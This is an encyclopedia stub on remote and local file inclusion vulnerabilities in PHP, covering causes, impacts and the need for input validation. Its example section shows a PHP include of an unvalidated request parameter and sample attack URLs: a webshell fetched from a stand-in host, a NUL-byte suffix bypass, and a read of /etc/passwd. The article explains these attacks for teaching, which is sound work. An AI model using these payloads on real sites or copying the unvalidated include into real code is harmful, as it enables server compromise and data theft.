File inclusion vulnerability
Contents |
Remote File Inclusion [edit]
Remote File Inclusion (RFI) is a type of vulnerability most often found on websites. It allows an attacker to include a remote file, usually through a script on the web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can lead to something as minimal as outputting the contents of the file, but depending on the severity, to list a few it can lead to:
- Code execution on the web server
- Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS).
- Denial of Service (DoS)
- Data Theft/Manipulation
Programming languages [edit]
PHP [edit]
In PHP the main cause is due to the use of unvalidated external variables such as $_GET, $_POST, $_COOKIE with a filesystem function. Most notable are the include and require statements. Most of the vulnerabilities can be attributed to novice programmers not being familiar with all of the capabilities of the PHP programming language. The PHP language has an allow_url_fopen directive, and if enabled it allows filesystem functions to use a URL which allows them to retrieve data from remote locations.[1] An attacker will alter a variable that is passed to one of these functions to cause it to include malicious code from a remote resource. To mitigate this vulnerability, all user input needs to be validated before being used.[2][3]
Example [edit]
Consider this PHP script (which includes a file specified by request):
<?php if (isset( $_GET['COLOR'] ) ){ include( $_GET['COLOR'] . '.php' ); } ?>
<form method="get"> <select name="COLOR"> <option value="red">red</option> <option value="blue">blue</option> </select> <input type="submit"> </form>
The developer intended only blue.php and red.php to be used as options. But as anyone can insert arbitrary values for the COLOR parameter, it is possible to inject code from other files.
/vulnerable.php?COLOR=http://evil.example.com/webshell.txt?- injects a remotely hosted file containing a malicious code./vulnerable.php?COLOR=C:\\ftp\\upload\\exploit- Executes code from an already uploaded file called exploit.php (local file inclusion vulnerability)/vulnerable.php?COLOR=C:\\notes.txt%00- example using NUL meta character to remove the.phpsuffix, allowing access to files other than .php. (With magic_quotes_gpc enabled this limits the attack by escaping special characters, this disables the use of the NUL terminator)/vulnerable.php?COLOR=/etc/passwd%00- allows an attacker to read the contents of the passwd file on a UNIX system directory traversal.
Local File Inclusion [edit]
Local File Inclusion (LFI) is similar to a Remote File Inclusion vulnerability except instead of including remote files, only local files i.e. files on the current server can be included. The vulnerability is also due to the use of user-supplied input without proper validation.
See also [edit]
- Attack (computing)
- Code injection
- Cross-site scripting
- Metasploit Project, an open-source penetration testing tool that includes tests for RFI
- SQL injection
- Threat (computer)
- Vulnerability (computing)
- w3af, an open-source web application security scanner
- Include vulnerability
References [edit]
- ^ "Using remote files". PHP. Retrieved March 03, 2013.
- ^ "Remote File Inclusion". The Web Application Security Consortium. Retrieved March 03, 2013.
- ^ "CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')". Common Weakness Enumeration (CWE). Mitre. Retrieved March 03, 2013.
External links [edit]
- Remote File Inclusion Vulnerabilities The Web Application Security Consortium Threat Classification
- Local File Inclusions in Perl/CGI
| This Internet-related article is a stub. You can help Wikipedia by expanding it. |